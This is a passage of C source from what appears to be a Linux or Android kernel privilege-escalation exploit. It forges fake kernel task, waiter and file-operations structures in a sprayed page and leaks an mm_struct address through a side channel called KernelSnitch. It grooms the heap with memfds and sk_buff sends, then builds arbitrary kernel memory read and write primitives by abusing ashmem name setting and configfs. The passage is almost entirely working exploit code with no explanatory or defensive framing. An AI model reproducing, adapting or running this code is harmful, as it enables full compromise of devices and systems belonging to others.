      put64(p, W0_OFF + FAKE_WAITER_PI_TREE_ENTRY_OFF + 0x10, write_left);
      put32(p, W0_OFF + FAKE_WAITER_PI_TREE_PRIO_OFF,
            standalone_tcp_payload ? 0 : FAKE_WAITER_PRIO);
      put64(p, W0_OFF + FAKE_WAITER_PI_TREE_DEADLINE_OFF, 0);
      put64(p, W0_OFF + FAKE_WAITER_TASK_OFF, waiter_task);
      put64(p, W0_OFF + FAKE_WAITER_LOCK_OFF, fake_lock);
      put32(p, W0_OFF + FAKE_WAITER_WAKE_STATE_OFF, 0);
      put64(p, W0_OFF + FAKE_WAITER_WW_CTX_OFF, 0);
    }

    put32(p, fake_task_off + FAKE_TASK_USAGE_OFF, 0x100);
    put32(p, fake_task_off + FAKE_TASK_PRIO_OFF, FAKE_TASK_PRIO);
    put32(p, fake_task_off + FAKE_TASK_NORMAL_PRIO_OFF, FAKE_TASK_PRIO);
    if (!simple_pselect_fops &&
        !(payload_mode == PAGE_PAYLOAD_SLIDE &&
          (env_flag("SLIDE_SKIP_FAKE_TASK_UCLAMP", 0) ||
           standalone_tcp_payload))) {
      put32(p, fake_task_off + FAKE_TASK_UCLAMP_REQ_OFF,
            FAKE_UCLAMP_MIN_ACTIVE);
      put32(p, fake_task_off + FAKE_TASK_UCLAMP_REQ_OFF + 0x04,
            FAKE_UCLAMP_MAX_ACTIVE);
      put32(p, fake_task_off + FAKE_TASK_UCLAMP_OFF,
            FAKE_UCLAMP_MIN_ACTIVE);
      put32(p, fake_task_off + FAKE_TASK_UCLAMP_OFF + 0x04,
            FAKE_UCLAMP_MAX_ACTIVE);
    }
    put32(p, fake_task_off + FAKE_TASK_PI_LOCK_OFF, 0);
    if (payload_mode == PAGE_PAYLOAD_FOPS || standalone_tcp_payload ||
        slide_owner_null_shape || slide_fake_task_pi_waiters_zero) {
      put64(p, fake_task_off + FAKE_TASK_PI_WAITERS_OFF, 0);
      put64(p, fake_task_off + FAKE_TASK_PI_WAITERS_OFF + 0x08, 0);
    } else {
      put64(p, fake_task_off + FAKE_TASK_PI_WAITERS_OFF,
            fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF);
      put64(p, fake_task_off + FAKE_TASK_PI_WAITERS_OFF + 0x08,
            fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF);
    }
    put64(p, fake_task_off + FAKE_TASK_TASK_GROUP_OFF, task_group);
    put64(p, fake_task_off + FAKE_TASK_PI_TOP_TASK_OFF, pi_top_task);
    put64(p, fake_task_off + FAKE_TASK_PI_BLOCKED_ON_OFF, 0);

    put64(p, RIGHT_OFF + 0x00, fake_parent);
    put64(p, RIGHT_OFF + 0x08, 0);
    put64(p, RIGHT_OFF + 0x10, 0);

    put64(p, LEFT_OFF + 0x00, fake_parent);
    put64(p, LEFT_OFF + 0x08, 0);
    put64(p, LEFT_OFF + 0x10, 0);

    if (main_tcp_payload) {
      put_tcp_fake_fops_table(p, fake_fops_off);
    } else if (payload_mode == PAGE_PAYLOAD_FOPS) {
      put_fake_fops_table(p, FOPS_TABLE_OFF);
    }
  }
  return 1;
}

uintptr_t prepare_kernel_page(int payload_mode) {
  close_reclaim_sockets();
  int standalone_tcp_payload =
      payload_mode == PAGE_PAYLOAD_SLIDE &&
      env_flag("SLIDE_STANDALONE_TCP_PAYLOAD", 1);
  int main_tcp_payload =
      payload_mode == PAGE_PAYLOAD_FOPS &&
      env_flag("MAIN_TCP_PAYLOAD", 1);
  int tcp_payload = standalone_tcp_payload || main_tcp_payload;
  size_t mm_struct_sz = tcp_payload ? 1024 : MM_STRUCT_SZ;
  uintptr_t mm_struct_override = 0;
  if (env_uintptr_value("PAGE_MM_STRUCT_SZ", &mm_struct_override) &&
      mm_struct_override >= 0x100 && mm_struct_override <= ORDER3_SIZE) {
    mm_struct_sz = (size_t)mm_struct_override;
  }
  mm_objs_per_slab = ORDER3_SIZE / mm_struct_sz;
  prepare_ctxs();
  int collision_count = tcp_payload ? 8 : kernelsnitch_collision_count();
  collision_count = env_int_range("PAGE_COLLISIONS", collision_count, 1, 64);
  pr_info("prepare_kernel_page geom mode=%d standalone_tcp=%d main_tcp=%d "
          "mm_struct_sz=%zu objs_per_slab=%zu collisions=%d\n",
          payload_mode, standalone_tcp_payload, main_tcp_payload, mm_struct_sz,
          mm_objs_per_slab, collision_count);

  skb_buf = malloc(SKB_SEND_SIZE);
  memset(skb_buf, 0x41, SKB_SEND_SIZE);

  for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
    prepare_ctx.childs[i] = clone_child();
    prepare_ctx.memfds[i] = open_memfd(prepare_ctx.childs[i]);
  }

  for (size_t i = 0; i < spray_ctx.mm_cnt; i++) {
    spray_ctx.childs[i] = clone_child();
    spray_ctx.memfds[i] = open_memfd(spray_ctx.childs[i]);
  }

  int cpu_count = (int)sysconf(_SC_NPROCESSORS_ONLN);
  ks = kernelsnitch_setup(
      mm_struct_sz, MM_ORDER, cpu_count, collision_count, 0, 0);

  for (size_t i = 0; i < pre_ctx.mm_cnt; i++) {
    pre_ctx.childs[i] = clone_child();
  }
  child_leak = clone_leak_child();
  for (size_t i = 0; i < post_ctx.mm_cnt; i++) {
    post_ctx.childs[i] = clone_child();
  }

  for (size_t i = 0; i < pre_ctx.mm_cnt; i++) {
    pre_ctx.memfds[i] = open_memfd(pre_ctx.childs[i]);
  }
  memfd_leak = open_memfd(child_leak);
  for (size_t i = 0; i < post_ctx.mm_cnt; i++) {
    post_ctx.memfds[i] = open_memfd(post_ctx.childs[i]);
  }

  for (size_t i = 0; i < pre_ctx.mm_cnt; i++) {
    kill_child(pre_ctx.childs[i]);
  }
  for (size_t i = 0; i < post_ctx.mm_cnt; i++) {
    kill_child(post_ctx.childs[i]);
  }
  for (size_t i = 0; i < spray_ctx.mm_cnt; i++) {
    kill_child(spray_ctx.childs[i]);
  }
  SYSCHK(waitpid(child_leak, NULL, 0));

  if (!kernelsnitch_found_collisions(ks)) {
    pr_warning("KernelSnitch collision finding failed\n");
    kernelsnitch_cleanup(ks);
    ks = NULL;
    for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
      kill_child(prepare_ctx.childs[i]);
    }
    cleanup_page_prepare_state();
    return 0;
  }

  kernelsnitch_bruteforce(ks);
  uintptr_t leaked = ks->mm_struct;
  if (leaked == (uintptr_t)-1) {
    pr_warning("KernelSnitch mm_struct leak failed\n");
    kernelsnitch_cleanup(ks);
    ks = NULL;
    for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
      kill_child(prepare_ctx.childs[i]);
    }
    cleanup_page_prepare_state();
    return 0;
  }

  uintptr_t base = leaked & ~(ORDER3_SIZE - 1);
  pr_info("prepare_kernel_page leaked_mm=%016zx base=%016zx mode=%d\n",
          leaked, base, payload_mode);
  if (!page_source_allowed(payload_mode, leaked, base)) {
    kernelsnitch_cleanup(ks);
    ks = NULL;
    for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
      kill_child(prepare_ctx.childs[i]);
    }
    cleanup_page_prepare_state();
    return 0;
  }
  if (!prepare_skb_payload(base, payload_mode)) {
    kernelsnitch_cleanup(ks);
    ks = NULL;
    for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
      kill_child(prepare_ctx.childs[i]);
    }
    cleanup_page_prepare_state();
    return 0;
  }

  SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, reclaim_sv));
  int sndbuf = 1 << 20;
  setsockopt(reclaim_sv[0], SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf));
  int reclaim_flags = fcntl(reclaim_sv[0], F_GETFL, 0);
  if (reclaim_flags >= 0) {
    fcntl(reclaim_sv[0], F_SETFL, reclaim_flags | O_NONBLOCK);
  }
  int pcp_shaping_sv[2];
  SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, pcp_shaping_sv));

  struct iovec iov;
  memset(&iov, 0, sizeof(iov));
  iov.iov_base = skb_buf;
  iov.iov_len = SKB_SEND_SIZE;

  struct msghdr msg;
  memset(&msg, 0, sizeof(msg));
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;

  int pcp_sends = env_int_range("PAGE_PCP_SENDS", 1, 0, 64);
  for (int i = 0; i < pcp_sends; i++) {
    errno = 0;
    ssize_t sent = sendmsg(pcp_shaping_sv[0], &msg, 0);
    pr_info("sk_buff pcp send %d/%d ret=%zd errno=%d\n",
            i + 1, pcp_sends, sent, errno);
    if (sent <= 0) {
      break;
    }
  }

  pin_to_core(CORE);
  int pre_yields = env_int_range("PAGE_PRE_CLOSE_YIELDS", 4, 0, 1024);
  for (int i = 0; i < pre_yields; i++) {
    sched_yield();
  }
  for (size_t i = 0; i < pre_ctx.mm_cnt; i++) {
    SYSCHK(close(pre_ctx.memfds[i]));
    pre_ctx.memfds[i] = -1;
  }
  for (size_t i = 0; i < post_ctx.mm_cnt - 1; i++) {
    SYSCHK(close(post_ctx.memfds[i]));
    post_ctx.memfds[i] = -1;
  }
  int spray_stride_env =
      env_int_range("PAGE_SPRAY_STRIDE", (int)mm_objs_per_slab, 1, 1024);
  size_t spray_stride = (size_t)spray_stride_env;
  for (size_t i = 0; i < spray_ctx.mm_cnt; i += spray_stride) {
    SYSCHK(close(spray_ctx.memfds[i]));
    spray_ctx.memfds[i] = -1;
  }

  SYSCHK(close(pcp_shaping_sv[0]));
  SYSCHK(close(pcp_shaping_sv[1]));
  int post_yields = env_int_range("PAGE_POST_CLOSE_YIELDS", 4, 0, 1024);
  for (int i = 0; i < post_yields; i++) {
    sched_yield();
  }
  SYSCHK(close(memfd_leak));
  memfd_leak = -1;
  int reclaim_sends =
      env_int_range("PAGE_RECLAIM_SENDS", SKB_RECLAIM_SENDS, 1, 64);
  for (int i = 0; i < reclaim_sends; i++) {
    errno = 0;
    ssize_t sent = sendmsg(reclaim_sv[0], &msg, MSG_DONTWAIT);
    int saved_errno = errno;
    pr_info("sk_buff reclaim send %d/%d ret=%zd errno=%d\n",
            i + 1, reclaim_sends, sent, saved_errno);
    if (sent <= 0) {
      break;
    }
  }
  kernelsnitch_cleanup(ks);
  ks = NULL;

  for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
    SYSCHK(close(prepare_ctx.memfds[i]));
    prepare_ctx.memfds[i] = -1;
    kill_child(prepare_ctx.childs[i]);
  }

  return base;
}

uintptr_t prepare_good_kernel_page(int payload_mode) {
  int max_attempts = KERNEL_PAGE_SETUP_ATTEMPTS;
  if (payload_mode == PAGE_PAYLOAD_SLIDE) {
    max_attempts = SLIDE_KERNEL_PAGE_SETUP_ATTEMPTS;
  } else if (payload_mode == PAGE_PAYLOAD_FOPS) {
    max_attempts = FOPS_KERNEL_PAGE_SETUP_ATTEMPTS;
  }
  max_attempts = env_int_range("PAGE_SETUP_ATTEMPTS", max_attempts, 1, 4096);
  if (payload_mode == PAGE_PAYLOAD_SLIDE) {
    max_attempts = env_int_range("SLIDE_PAGE_SETUP_ATTEMPTS",
                                 max_attempts, 1, 4096);
  } else if (payload_mode == PAGE_PAYLOAD_FOPS) {
    max_attempts = env_int_range("FOPS_PAGE_SETUP_ATTEMPTS",
                                 max_attempts, 1, 4096);
  }
  for (int attempt = 1; attempt <= max_attempts; attempt++) {
    uintptr_t base = prepare_kernel_page(payload_mode);
    if (base) {
      return base;
    }
    pr_warning("prepare_kernel_page retry %d/%d\n", attempt,
               max_attempts);
  }
  pr_warning("prepare_kernel_page did not find usable nonzero source pointers\n");
  return 0;
}

ssize_t configfs_write_once(int fd, uintptr_t target, const void *data, size_t len) {
  unsigned char blob[128];
  memset(blob, 0, sizeof(blob));
  put64(blob, CFG_BIN_BUFFER_OFF - ASHMEM_NAME_PREFIX_LEN, target);
  put32(blob, CFG_BIN_BUFFER_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, len);
  put32(blob, CFG_CB_MAX_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, 0);
  errno = 0;
  int set_ret = try_set_ashmem_name_blob(fd, blob, sizeof(blob));
  int set_errno = errno;
  pr_info("configfs write setup fd=%d target=%016zx len=%zu ret=%d errno=%d\n",
          fd, target, len, set_ret, set_errno);
  if (set_ret != 0) {
    errno = set_errno;
    return -1;
  }

  errno = 0;
  ssize_t wr = pwrite(fd, data, len, 0);
  pr_info("configfs write pwrite fd=%d target=%016zx len=%zu ret=%zd errno=%d\n",
          fd, target, len, wr, errno);
  return wr;
}

ssize_t configfs_read_once(int fd, uintptr_t target, void *data, size_t len) {
  unsigned char blob[128];
  memset(blob, 0, sizeof(blob));
  off_t pos = (off_t)(ASHMEM_PREFIX_COUNT - len);
  uintptr_t page = target - (uintptr_t)pos;
  put64(blob, CFG_PAGE_OFF - ASHMEM_NAME_PREFIX_LEN, page);
  put32(blob, CFG_NEEDS_READ_FILL_OFF - ASHMEM_NAME_PREFIX_LEN, 0);
  errno = 0;
  int set_ret = try_set_ashmem_name_blob(fd, blob, sizeof(blob));
  int set_errno = errno;
  pr_info("configfs read setup fd=%d target=%016zx len=%zu ret=%d errno=%d\n",
          fd, target, len, set_ret, set_errno);
  if (set_ret != 0) {
    errno = set_errno;
    return -1;
  }

  errno = 0;
  ssize_t rd = pread(fd, data, len, pos);
  pr_info("configfs read pread fd=%d target=%016zx len=%zu ret=%zd errno=%d\n",
          fd, target, len, rd, errno);
  return rd;
}

int is_kernel_ptr(uintptr_t value) {
  return value >= 0xffff800000000000ULL;
}

int is_direct_ptr(uintptr_t value) {
  return value >= DIRECT_MAP_BASE && value < DIRECT_MAP_END;
}

uint64_t kernel_read64(int fd, uintptr_t target) {
  uint64_t value = 0;
  ssize_t n = kernel_read_data(fd, target, &value, sizeof(value));
  if (n != (ssize_t)sizeof(value)) {
    return 0;
  }
  return value;
}

ssize_t kernel_write_data(int fd, uintptr_t target, const void *data, size_t len) {
  return configfs_write_once(fd, target, data, len);
}

ssize_t kernel_read_data(int fd, uintptr_t target, void *data, size_t len) {
  return configfs_read_once(fd, target, data, len);
}
